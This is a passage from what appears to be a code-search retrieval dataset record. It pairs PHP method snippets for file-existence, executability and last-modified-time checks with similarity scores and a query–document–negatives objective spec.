(!isset($this->prefix)) return $this->search_and_exec($this->path);\n\n list($prefix, $path) = explode('/', $this->path, 2);\n // prefix exists, but prefix not match\n if ($prefix !== $this->prefix) return false;\n // OK with prefix, kick!\n return $this->search_and_exec($path);\n }", "public function isReadableFile(): bool {\n return is_readable($this) && is_file($this);\n }", "public function isAutomation(): bool\n {\n return Helper::isPro() && $this->source_type === AutomationSchedule::class;\n }", "public function exists()\n {\n if (empty($this->filename)) {\n return false;\n }\n\n // Since we only have a valid path when the file exists this is a good test.\n $filename = $this->getFullPath();\n\n if (!empty($filename)) {\n return true;\n }\n // else\n return false;\n }", "protected function detectExecutable()\n\t{\n\t\tforeach (self::$executables as $exec) {\n\t\t\tif (proc_close($this->openProcess(\"$exec -v\", $tmp)) === 1) {\n\t\t\t\treturn $exec;\n\t\t\t}\n\t\t}\n\t}", "final protected static function canRun() : bool\n\t{\n\t\t$bCanRun = parent::canRun();\n\n\t\tif ($bCanRun) {\n\n\t\t\t$aeSession = \\MarkNotes\\Session::getInstance();\n\t\t\t$filename = trim($aeSession->get('filename', ''));\n\n\t\t\tif ($filename !== '') {\n\t\t\t\t// Don't run add_icons for PDF exportation\n\t\t\t\t// (will give errors with decktape)\n\t\t\t\t$aeFiles = \\MarkNotes\\Files::getInstance();\n\t\t\t\t$ext = $aeFiles->getExtension($filename);\n\t\t\t\t$bCanRun = !(in_array($ext, array('pdf', 'reveal.pdf', 'remark.pdf')));\n\t\t\t}\n\t\t}\n\n\t\treturn $bCanRun;\n\t}", "protected function binaryHasConnection() {\n $connection = $this\n ->binaryExecutable()\n ->hasDatabaseConnection()\n ->execute();\n\n if (empty($connection)) {\n return FALSE;\n }\n\n return stripos($connection[0], 'successful') !== FALSE ? TRUE : FALSE;\n }", "public function exists() {\n\n\t\tif ($this->fileInfo->isFile() && $this->fileInfo->isReadable()) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\n\t}", "private function execCheck() {\n\t $disabled = explode(', ', ini_get('disable_functions'));\n\t return !in_array('exec', $disabled);\n\t}", "public function is_runnable()\n\t{\n\t\treturn $this->ext_config->cleanup_titania;\n\t}", "public function isOpen ()\r\n\t\t{\r\n\t\t\t\treturn is_resource ($this -> resourcePointer);\r\n\t\t}", "public function isForBinary()\n {\n return $this->binary !== null;\n }", "public function isAvailable() {\n $path = $this->path();\n return file_exists($path);\n }", "public function fileExists() {\r\n return file_exists($this->pathname);\r\n }", "public function isFile()\n {\n return $this->isFile;\n }", "public static function isInstallToolEnableFilePermanent() {}", "public function isAvailable()\n\t{\n\t\ttry {\n\t\t\t$output = $this->execute('x = 3;');\n\t\t} catch (ExternalRuntimeException $e) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}", "public function isFile(): bool;", "public function isLaunchable() {\n // on the application launch list is confusing.\n return false;\n }", "public function runOnFiles(): bool;", "protected function isPharFile()\n\t{\n\t\treturn strpos(__DIR__, 'phar://') === 0;\n\t}", "public function isValid($resource = null)\r\n {\r\n if ($resource === null) {\r\n $resource = $this->_resource;\r\n } \r\n return is_resource($resource);\r\n }", "public function isCreateResource();", "public function ableToExecute()\n {\n $log = $this->getCommandLog();\n if ($log) {\n return $log->last_succeed_time >= $log->started_at || $log->ended_at >= $log->started_at;\n }\n return true;\n }", "public static function validateAddon($file) {\n //$workingDir = dirname(__DIR__) . \"/../addons/upload/files/\";\n\n $executable = false;\n $desc = false;\n\n $fullFile = realpath($file);\n\n $zip = new \\ZipArchive();\n $res = $zip->open($fullFile);\n if($res === TRUE) {\n for ($i = 0; $i < $zip->numFiles; $i++) {\n $filename = $zip->getNameIndex($i);\n $filename = strtolower($filename);\n\n if($filename == \"server.cs\" || $filename == \"client.cs\") {\n $executable = true;\n }\n\n if($filename == \"description.txt\") {\n $desc = true;\n }\n }\n } else {\n return false;\n }\n\n return ($executable && $desc);\n }", "public function isManaged(): bool\n {\n }", "public function hasAclResource()\n {\n return array_key_exists(EntityDefinitionConfig::ACL_RESOURCE, $this->items);\n }", "public function accept(): bool\n {\n return (!$this->isFile() || preg_match($this->regex, $this->getFilename()));\n }", "public function isCompiled(){\n\t\treturn $this->isCompiled;\n\t}", "public function hasFile(string $name): bool {}", "public function exists(){\n\t\t$fichName = $this->getPath();\n\t\treturn file_exists($fichName);\n\t}", "protected function hasApplicableFontFile()\n {\n if (is_string($this->file)) {\n return file_exists($this->file);\n }\n\n return false;\n }", "public static function assetsAreCurrent()\n {\n $publishedPath = public_path('vendor/orchid/mix-manifest.json');\n\n throw_unless(File::exists($publishedPath), new RuntimeException('Orchid assets are not published. Please run: `php artisan orchid:publish`'));\n\n return File::get($publishedPath) === File::get(__DIR__.'/../../public/mix-manifest.json');\n }", "function getFileExists() {\n\t\treturn file_exists($this->getFilename());\n\t}", "public function isReadable(): bool\n {\n return is_readable($this->directory->getPath().'/'.$this->filename);\n }", "protected function shouldRegisterThisProcessWithResourcesCleaner(): bool\n {\n return self::isStatusCheck();\n }", "public static function isAvailable(): bool\n {\n // Don't want this to warn\n @exec('which latexmk', $output, $return);\n\n return $return === 0;\n }", "public function supports($resource, $type = null)\n {\n return is_string($resource) && 'php' === pathinfo($resource, PATHINFO_EXTENSION) && (!$type || 'php' === $type);\n }", "function exists() {\n\t\treturn is_file($this->path);\n\t}", "function test_command($command) {\n\t$return = explode(':', trim(exec('whereis ' . $command)));\n\tif (isset($return[1]) and trim($return[1]) != '')\n\t\treturn TRUE;\n\telse\n\t\treturn FALSE;\n}", "public function isFile() : bool;", "public function shouldRun(string $package): bool;", "public function isInstalled(){\n if(self::$isInstalled === true){\n return true; \n }\n \n exec('type diatheke', $output, $returnVal);\n if($returnVal === 0){\n self::$isInstalled = true;\n return true;\n }else{\n return false;\n }\n \n }", "function exists()\n {\n return is_file($this->getPath());\n }", "public function exists()\n {\n return $this->isDir() || $this->isFile() || $this->isLink();\n }", "public function exist()\n {\n return $this->_info && app()->getModule($this->_info['name']) ? TRUE : FALSE;\n }", "public function isSetup()\n\t{\n\t\treturn $this->fileExists($this->rocketeer->getFolder('current'));\n\t}", "public function hasCommand(string $command = NULL): bool;", "public function isInstalled()\n {\n return $this->resource->getProperty('installed');\n }", "public function valid(): bool\n {\n return file_exists($this->file);\n }", "public function isScriptFileAvailable() {\n return false;\n }", "public function exists() : bool\n\t{\n\t\treturn (file_exists($this->path));\n\t}", "protected static function isCommandLine() {}", "protected function checkSupports($ext, $resource)\n {\n if (!is_string($resource)) {\n return false;\n }\n\n $info = pathinfo($resource);\n $extension = $info['extension'];\n\n if ('dist' === $extension) {\n $extension = pathinfo($info['filename'], PATHINFO_EXTENSION);\n }\n\n if (is_string($ext)) {\n return ($ext === $extension);\n }\n\n if (is_array($ext)) {\n $supported = false;\n\n foreach ($ext as $value) {\n if ($value === $extension) {\n $supported = true;\n break;\n }\n }\n\n return $supported;\n }\n\n return false;\n }", "public function exists()\n\t\t{\n\t\t\t$path = $this->get_path();\n\n\t\t\treturn $path && file_exists($path);\n\t\t}", "public function isFile()\n {\n return ( $this->fileStructure->type == self::IS_FILE );\n }", "public function exists(): bool\n {\n if ($this->shouldEmulateExecution()) {\n return false;\n }\n\n return $this->one() !== null;\n }", "public function hasScript()\n {\n return (isset($this->data[\"script\"]));\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function isReadResource();", "public function is_exist_file() {\r\n\t\treturn file_exists( $this->get_path( 'file' ) );\r\n\t}", "function checkCronIsExecutable($params=array())\n\t{\n\t\t\n\t\t//count nbevent db\n\t\t$nbeventdb=0;\n\t\t//from file db\n\t\t$nbeventdb=$this->genesisdbfromfile->count(\"\",\"event\");\n\t\t//from db\n\t\tif(isset($this->db) && $this->db!=null && method_exists($this->requestor,\"checkTableExists\") && $this->requestor->checkTableExists(\"event\"))\n\t\t{\n\t\t\t$reqcheck=$this->db->query(\"select count(idevent) as nbevent FROM `event`\");\n\t\t\tif($rescheck=$this->db->fetch_array($reqcheck))\n\t\t\t{\n\t\t\t\t$nbeventdb=$rescheck['nbevent'];\n\t\t\t}\n\t\t}\n\t\t\n\t\t//count nb eventintegrator files\n\t\t$tabeventintegrator=$this->loader->charg_dossier_unique_dans_tab(\"core/integrate/event\");\n\t\t$nbeventfiles=count($tabeventintegrator);\n\t\t\n\t\tif($nbeventfiles!=$nbeventdb)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\t\n\t\treturn false;\n\t}", "private function isRunningFullCodeBase() {\n global $argv;\n return in_array('run', $argv);\n }", "function readable() {\n\t\treturn is_file($this->path) && is_readable($this->path);\n\t}", "function is_writeable(ResourceInterface $resource): bool\n {\n $modes = [\n 'w' => true,\n 'w+' => true,\n 'rw' => true,\n 'r+' => true,\n 'x+' => true,\n 'c+' => true,\n 'wb' => true,\n 'w+b' => true,\n 'r+b' => true,\n 'x+b' => true,\n 'c+b' => true,\n 'w+t' => true,\n 'r+t' => true,\n 'x+t' => true,\n 'c+t' => true,\n 'a' => true,\n 'a+' => true,\n 'a+b' => true,\n ];\n\n if ($resource->eof()) {\n return false;\n }\n\n $metadata = stream_get_meta_data($resource->getResource());\n\n return isset($modes[$metadata['mode']]);\n }", "public function exists(): bool\n {\n return file_exists($this->path);\n }", "public function exists(): bool\n {\n return is_file($this->path);\n }", "public function exists()\n\t{\n\t\tif(empty($this->_parent->{$this->_name.'_file_name'}))\n\t\t\treturn false;\n\n\t\treturn $this->_file_info(true)->isReadable();\n\t}", "public function is_executable(string $message = ''): self {\n if (is_executable(filename: $this->path)) {\n return $this;\n }\n\n throw new \\InvalidArgumentException(\n message: $message ?: \"File '{$this->path}' must be executable.\",\n );\n }" ]
[ "0.8114449", "0.8111778", "0.80896765", "0.79307806", "0.7855299", "0.74640256", "0.7156665", "0.68907815", "0.68331075", "0.6794389", "0.6760709", "0.65995955", "0.6424818", "0.63214207", "0.62142366", "0.60796523", "0.6056994", "0.59930396", "0.5965661", "0.59434193", "0.5931507", "0.5888409", "0.58474714", "0.5819194", "0.57693017", "0.57634735", "0.57544875", "0.57520354", "0.57170665", "0.57079136", "0.5702379", "0.56887436", "0.56825715", "0.566354", "0.56608397", "0.56473166", "0.5636639", "0.5635215", "0.56176764", "0.5617237", "0.5613728", "0.5613169", "0.56077796", "0.5601673", "0.5597987", "0.55927664", "0.558605", "0.5567827", "0.55650806", "0.55635214", "0.5560988", "0.555922", "0.5556212", "0.5547767", "0.5547701", "0.5537006", "0.552859", "0.5528385", "0.5525345", "0.55251503", "0.5520182", "0.5519287", "0.5515401", "0.55149776", "0.5512488", "0.55111086", "0.55072767", "0.550431", "0.5501427", "0.5500307", "0.5499695", "0.54933363", "0.54848504", "0.5477879", "0.54748183", "0.54695797", "0.54680306", "0.545723", "0.54559195", "0.5451735", "0.54508436", "0.5450268", "0.5448049", "0.5447457", "0.5446829", "0.54464465", "0.5444385", "0.5443197", "0.5443197", "0.5443197", "0.5442833", "0.54388976", "0.54382515", "0.5437205", "0.5431293", "0.542955", "0.54276323", "0.542382", "0.54231036", "0.54194623" ]
0.8036653
3
Returns true, if the resource has no contents.
public function isEmpty(): bool;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function hasNoContent()\n {\n return $this->properties['content'] === null;\n }", "public function noContent()\n {\n return is_null($this->content) || empty($this->content);\n }", "public function hasContent(){ return !empty($this->content); }", "public function hasContent(): bool\n {\n return !empty($this->getAssetId());\n }", "public function isEmpty()\n {\n return $this->getContent()->isEmpty();\n }", "public function isEmpty()\n {\n return $this->getContent()->isEmpty();\n }", "public function hasContent(): bool\n {\n return (empty($this->content) === false);\n }", "public function contentNotGiven()\n {\n return empty($this->content);\n }", "public function hasContent()\n {\n return ($this->contentStream !== null);\n }", "public function hasContent()\n {\n return false;\n }", "public function is_empty()\n\t\t{\n\t\t\tif ($this->is_cached()) {\n\t\t\t\treturn !is_null($this->content);\n\t\t\t}\n\n\t\t\tif ($this->exists() || $this->saved) {\n\t\t\t\treturn $this->size() <= 0;\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}", "function isEmpty() {\n\t\tif ($this->f) {\n\t\t\treturn filesize($this->path) == 0;\n\t\t}\n\t\treturn true;\n\t}", "public function exists() {\r\n return strlen($this->contents) > 0;\r\n }", "public function hasContent()\n {\n return isset($this->content);\n }", "public static function hasContent(): bool\n {\n return true;\n }", "public function isEmpty()\n {\n return count($this->_metaData) == 0;\n }", "public function hasContent() {}", "public function isEmpty()\n {\n return ($this->shelfs[0]->count() == 0) ? true : false;\n }", "public function hasContent(){\n return $this->_has(4);\n }", "public function hasContent()\n {\n $c = $this->_getParentContentData();\n if (!$c) return false;\n return $c->hasContent();\n }", "public function isEmpty()\n\t{\n\t\treturn (empty($this->title)\n\t\t\t\t&& empty($this->body)\n\t\t\t\t&& is_null($this->sub_alert));\n\t}", "public function isEmpty(): bool\n {\n return empty($this->headers);\n }", "public function isEmpty(): bool\n {\n return $this->actions->isEmpty();\n }", "public function isEmpty() {\n return $this->size() == 0;\n }", "public function isEmpty()\n\t{\n\t\treturn $this->count === 0;\n\t}", "public function hasContent(){\n return $this->_has(6);\n }", "public function noContent()\n {\n return $this->factory->noContent();\n }", "public function isEmpty()\n {\n return $this->count() === 0;\n }", "public function isEmpty()\n {\n return false;\n }", "public function isEmpty()\n {\n return empty($this->data);\n }", "public function isEmpty(): bool\n\t{\n\t\treturn $this->count() === 0;\n\t}", "public function isEmpty()\n {\n \treturn 0 == $this->getItemCount();\n }", "public function isEmpty()\n {\n return ($this->size == 0);\n }", "function empty()\n {\n return count($this->items) == 0;\n }", "public function is_empty() {\n return ($this->count == 0);\n }", "public function isEmpty()\n {\n return false;\n }", "public function isEmpty() {\n return empty($this->_data);\n }", "public function isEmpty() {\n\t\treturn ($this->count === 0);\n\t}", "public function isEmpty(): bool\n {\n $this->collectLogs();\n\n return empty($this->data);\n }", "function is_empty() {\n\t\treturn !$this->count();\n\t}", "public function isEmpty()\n {\n return $this->head == null;\n }", "public function isEmpty(): bool\n {\n return $this->count() === 0;\n }", "public function isEmpty(): bool\n {\n return $this->count() === 0;\n }", "public function isEmpty(): bool\n {\n return $this->count() === 0;\n }", "public function isEmpty(): bool {\n return $this->size() === 0;\n }", "public function isEmpty() {\n return (0 == $this->size());\n }", "public function isEmpty()\n {\n if(empty($this->items))\n \t{\n \t\t//empty\n \t\treturn false;\n \t}\n }", "public function isEmpty()\n {\n return $this->collection->isEmpty();\n }", "public function isEmpty()\n {\n return $this->collection->isEmpty();\n }", "public function exists()\n {\n return !empty($this->data);\n }", "function isEmptyQuery($resource) {\n\t// Deal with the result from doQuery()\n\tif ( NULL != $resource ) {\n\t\t$num_row = mysqli_num_rows($resource);\n\t\tif ( $num_row && 0 < $num_row )\n\t\t\treturn false;\n\t}\n\treturn true;\n}", "public function is_empty(){\r\n\t\treturn $this->size==0;\r\n\t}", "public function isEmpty()\n {\n return ($this->count() === 0);\n }", "public function isEmpty() {\n return $this->getLength() == 0;\n }", "public function isEmpty(): bool\n {\n return\n null === $this->exclude\n && empty($this->items)\n && empty($this->actions);\n }", "public function isEmpty()\n {\n return ($this->count() == 0);\n }", "abstract public function hasContent();", "public function isEmpty()\r\n\t{\r\n\t\treturn ( 0 === $this->count() );\r\n\t}", "public function isEmpty(): bool\n {\n return 0 === $this->size;\n }", "public function isEmpty()\n\t{\n\t\tif(count($this->error))\n\t\t\treturn false;\n\t\t\n\t\treturn true;\n\t}", "public function isEmpty()\n {\n return $this->length === 0;\n }", "public function isEmpty()\n\t{\n\t\treturn count( $this ) < 1;\n\t}", "public function isEmpty()\n {\n return count($this->hosts()) == 0;\n }", "public function hasObject()\n {\n return (bool)!empty($this->object);\n }", "public function isEmpty(): bool\n {\n return ($this->count() === 0);\n }", "public function isEmpty() : bool {\n return sizeof($this) == 0;\n }", "public function hasData(): bool\n {\n return !empty($this->data);\n }", "public function isEmpty(): bool\n {\n return 0 === $this->count();\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function hasResourceName(){\n return $this->_has(1);\n }", "public function isEmpty()\n {\n if ($this->count == intval(0)) {\n return true;\n } else if ($this->count > intval(0)) {\n return false;\n }\n }", "public function isEmpty() : bool\n {\n return empty($this->items);\n }", "public function isEmpty()\n {\n return empty($this->items);\n }", "public function isEmpty()\n {\n return empty($this->items);\n }", "public function isEmpty()\n {\n return empty($this->handlers);\n }", "public function isEmpty() {\n return empty($this->items);\n }", "public function isEmpty() {\r\n \t\r\n \treturn false;\r\n /**\r\n * @todo implementation\r\n */\r\n \t//return ! ( isset ( $this->__sesionStorage->role ) );\r\n }", "public function is_empty() {\n\t\treturn (\n\t\t\t! isset( $this->root )\n\t\t\t|| ! $this->root->hasChildNodes()\n\t\t);\n\t}", "function isEmpty(){\r\n if (sizeof($this->messages) == 0){\r\n return true;\r\n }\r\n return false;\r\n }", "public function isEmpty()\n {\n return empty($this->record);\n }", "public function isEmpty()\r\n {\r\n return isset($this->data['total']) AND $this->data['total'] == '0';\r\n }", "function checkResource() {\n if (is_resource($this->_handler) && (get_resource_type($this->_handler) == 'stream')) {\n \treturn true;\n }\n return false;\n }", "public function empty() : bool\n {\n return empty($this->samples);\n }", "public function exists(){\n\n\t\treturn (!empty($this->_data)) ? true : false;\n\n\t}", "public function isEmpty(): bool\n {\n return empty($this->items);\n }", "public function isEmpty(): bool\n {\n return empty($this->items);\n }", "public function isEmpty(): bool {\n return empty($this->items);\n }", "public function isEmpty(): bool\n {\n return count($this->entities) === 0;\n }", "function isEmpty() {\r\n return empty($this->list);\r\n }", "protected function isEmpty($entity)\n {\n if (is_resource($entity)) return true;\n if (is_array($entity)) return count($entity) == 0;\n if (is_object($entity)) return count(get_object_vars($entity)) == 0;\n return strlen($entity) == 0;\n }", "public function hasUrl()\n {\n return ! empty($this->url);\n }", "public function isEmpty(): bool\n {\n return true;\n }", "public function is_empty(stdClass $submission) {\n return $this->count_files($submission->id, ASSIGNSUBMISSION_CIRCLECI_FILEAREA) == 0;\n }", "public function isEmpty()\n {\n return empty($this->all());\n }", "public function isEmpty()\n {\n if($this->front==-1 && $this->rear==-1){\n return true;\n }\n else{\n return false;\n }\n }", "public function isEmpty()\n {\n return !$this->elements;\n }", "public function isEmpty() {\n return $this->is(new NotPossible('is empty'));\n }", "public function isEmpty()\n {\n return\n empty($this->items)\n && empty($this->fields);\n }", "public function has_image() {\r\n return ! empty( $this->image );\r\n }", "public function empty() : bool\n {\n return empty($this->container());\n }" ]
[ "0.81649554", "0.7704191", "0.7667227", "0.7640323", "0.76368755", "0.76368755", "0.7627437", "0.7555067", "0.7541062", "0.7532115", "0.7469374", "0.73723924", "0.71698564", "0.7149063", "0.7128271", "0.70915633", "0.70836747", "0.6929949", "0.68847466", "0.68714297", "0.6778648", "0.67727995", "0.6760288", "0.67342013", "0.6728737", "0.6718265", "0.67129195", "0.6699606", "0.6698063", "0.66944724", "0.6693797", "0.6693206", "0.6687574", "0.6672113", "0.66687", "0.66673017", "0.6667252", "0.665614", "0.6646599", "0.6623248", "0.6616377", "0.66151637", "0.66151637", "0.66151637", "0.6614678", "0.66034853", "0.65943015", "0.65856904", "0.65856904", "0.6581427", "0.65803343", "0.6569953", "0.65655744", "0.65648377", "0.6563054", "0.6561133", "0.6560961", "0.6560219", "0.65573573", "0.65406585", "0.6537953", "0.6529535", "0.6526168", "0.652306", "0.6518661", "0.6517774", "0.65145564", "0.65137297", "0.65035534", "0.65035534", "0.65035534", "0.64794517", "0.6474045", "0.6455006", "0.6455006", "0.6432355", "0.64076096", "0.6401611", "0.6395861", "0.63896984", "0.63854027", "0.6379813", "0.63797414", "0.6372302", "0.6369346", "0.6367062", "0.6367062", "0.6364414", "0.63605803", "0.63583016", "0.6354939", "0.6343177", "0.6331901", "0.6322745", "0.63142", "0.6300106", "0.6273288", "0.6272227", "0.6267975", "0.6267444", "0.6265477" ]
0.0
-1
Get time when the resource was last modified.
public function getLastModified(): int;
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function last_modified() {\n\t\treturn $this->timestamp;\n\t}", "function get_timemodified() {\n return $this->timemodified;\n }", "public function getLastModified()\n {\n return ($this->item['mtime'] ? $this->item['mtime'] : ($this->item['ctime'] ? $this->item['ctime'] : time()));\n }", "public function getModifiedTime()\n\t{\n\t\treturn $this->modifiedTime; \n\n\t}", "function getLastModified()\n {\n $this->loadStats();\n return $this->stat['mtime'];\n }", "public function getLastModifiedTime();", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModifiedAt()\n {\n return $this->lastModifiedAt;\n }", "public function getLastModified()\n {\n return $this->lastModified;\n }", "public function getLastModified()\n {\n return $this->_lastModified;\n }", "public function getModificationTime()\n {\n return ( $this->mtime ? $this->mtime : self::dosFormatToTimestamp( array( $this->lastModFileTime, $this->lastModFileDate ) ) );\n }", "function getLastModified() {\n\t\treturn $this->getData('lastModified');\n\t}", "public function getUpdatedTime()\n {\n return $this->getAttribute('updatedTime');\n }", "public function getLastModified()\n\t{\n\t\treturn $this->last_modified;\n\t}", "public function getLastModified()\n {\n return filemtime($this->getFileName());\n }", "public function getLast_modified() {\n\t\treturn $this->last_modified;\n\t}", "public function getLastUpdatedTime() {\n // Fail due to double delete\n assert(!$this->hasBeenDeleted);\n \n // Fail due to unset 'last-updated-time' field\n assert(isset($this->parentDbFieldTable[self::LAST_UPDATED_TIME_KEY]));\n \n return $this->parentDbFieldTable[self::LAST_UPDATED_TIME_KEY]->getValue();\n }", "public function lastModifiedTime(): int\n {\n if (isset($this->lastModifiedTime)) {\n return $this->lastModifiedTime;\n }\n return FileSystem::lastModifiedTime($this->path);\n }", "public function getModifiedAt()\n {\n return $this->getProperty(self::MODIFIED_AT);\n }", "public function getLastModified(){\n return $this->lastModified;\n }", "public function getUpdatedTime() {\r\n return $this->updated_time;\r\n }", "public function getLastModified() {\n\t\treturn filemtime($this->filename);\n\t}", "public function getLastUpdateTime()\n {\n return $this->last_update_time;\n }", "public function getLastModificationDateTime() {\n $timestamp = $this->getUpdatedAt();\n // we don't know when the module content is updated, so we \"guess\"\n if ($this->getModule() != '') {\n $timestamp->setDate(date('Y'), date('m'), date('d'));\n }\n return $timestamp;\n }", "public function getModifiedAt()\n {\n return $this->modifiedAt;\n }", "public static function getLastModified() {}", "public function getDateModified() {\n\t\t\treturn $this->date_modified;\n\t\t}", "public function getModificationTime()\n {\n return $this->fileStructure->mtime;\n }", "public function getLastUpdateTime()\n\t{\n\t\treturn empty($this->lastUpdateTime) ? time() : $this->lastUpdateTime;\n\t}", "public function lastUpdated()\n {\n // TODO: Implement lastUpdated() method.\n return self::$user['updated_at'];\n\n }", "public function getDateModified()\n {\n return $this->_DateModified;\n }", "public function getModificationTime();", "public function getLastModified();", "public function getLastModified();", "public function getLastModified();", "public function getLastModified();", "public function get_date_modified();", "public function getModificationTime() {}", "public function getModificationTime() {}", "public function getDateModified()\n {\n return $this->dateModified;\n }", "public function getLastModifiedDate() {\n\t\treturn date(\"d/m/Y\", strtotime($this->lastModifiedDate));\n\t}", "public function getLastUpdatedOn()\n {\n return $this->_fields['LastUpdatedOn']['FieldValue'];\n }", "public function getLastModifiedAt();", "public function getLastModifiedAt();", "function getDateModified() {\n\t\treturn $this->_DateModified;\n\t}", "function getLastModifiedDate() {\n\t\treturn $this->data_array['last_modified_date'];\n\t}", "public function LastUpdated()\n\t{\n\t\treturn $this->LastUpdated;\n\t}", "function getModificationTime() ;", "public function getModifiedOn(): \\DateTime\n {\n return $this->modifiedOn;\n }", "public function getModifiedStamp();", "public function getLastModifiedAt()\n {\n if (is_null($this->lastModifiedAt)) {\n /** @psalm-var ?string $data */\n $data = $this->raw(self::FIELD_LAST_MODIFIED_AT);\n if (is_null($data)) {\n return null;\n }\n $data = DateTimeImmutable::createFromFormat(MapperFactory::DATETIME_FORMAT, $data);\n if (false === $data) {\n return null;\n }\n $this->lastModifiedAt = $data;\n }\n\n return $this->lastModifiedAt;\n }", "public function getUpdate_time()\r\n {\r\n return $this->update_time;\r\n }", "function lastModified()\n {\n if(!empty($this->list)) {\n return strtotime($this->list->modified);\n }\n return null;\n }", "public function getLastGetTime()\n {\n return $this->get(self::_LAST_GET_TIME);\n }", "public function getLastModify()\n\t{\n\t\treturn $this->last_modify;\n\t}", "public function getLastMrtTime()\n {\n return $this->lastMrtTime;\n }", "public function lastModification( ) {\n\n\t\treturn file_exists( $this->_path )\n\t\t\t? filemtime( $this->_path )\n\t\t\t: 0;\n\t}", "private function getLastModified(): string\n {\n if ($this->context->get('is_term')) {\n return '';\n }\n\n if (!$this->context->get('last_modified')) {\n return '';\n }\n\n return $this->formatIso8601($this->augmented($this->context->get('last_modified')), false);\n }", "function lastModified()\n {\n if (!empty($this->notice)) {\n return strtotime($this->notice->created);\n }\n\n return null;\n }", "public function getDateModified(): DateTime\n {\n return $this->dateModified;\n }", "public function getLastUpdated() {\n return $this->lastUpdated;\n }", "public function getModifiedTime()\n\t{\n\t\tif(!$this->__isFile())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\treturn filemtime($this->_path);\n\t}", "public function getUpdateTime()\r\n {\r\n return $this->update_time;\r\n }", "public function getLastUpdated()\n {\n $packages = Package::get()->limit(1);\n if (!$packages->count()) {\n return '';\n }\n /** @var DBDatetime $datetime */\n $datetime = $packages->first()->dbObject('LastEdited');\n return $datetime->Date() . ' ' . $datetime->Time12();\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getUpdateTime()\n {\n return $this->update_time;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getLastModifiedDateTime()\n {\n if (array_key_exists(\"lastModifiedDateTime\", $this->_propDict)) {\n if (is_a($this->_propDict[\"lastModifiedDateTime\"], \"\\DateTime\") || is_null($this->_propDict[\"lastModifiedDateTime\"])) {\n return $this->_propDict[\"lastModifiedDateTime\"];\n } else {\n $this->_propDict[\"lastModifiedDateTime\"] = new \\DateTime($this->_propDict[\"lastModifiedDateTime\"]);\n return $this->_propDict[\"lastModifiedDateTime\"];\n }\n }\n return null;\n }", "public function getUpdatetime()\n {\n return $this->updateTime;\n }", "public function lastUpdated()\n {\n $lastAction = $this->actions->sortBy('updated_at')->last();\n\n if ($lastAction && $lastAction->updated_at->gt($this->updated_at))\n return $lastAction->updated_at;\n else\n return $this->updated_at;\n }", "public function getUpdateTime() {\n return $this->update_time;\n }", "public function getRevisionTime()\n {\n return $this->revisionTime;\n }", "public function getUpdateTime()\n {\n return isset($this->update_time) ? $this->update_time : null;\n }", "public function getUpdatedAt()\n {\n return $this->sys->getUpdatedAt();\n }", "public function getModifiedDate() : \\DateTime {\n return $this->modifiedDate;\n }", "public function getTimestampUpdated()\n {\n return $this->_getData(self::TIMESTAMP_UPDATED);\n }" ]
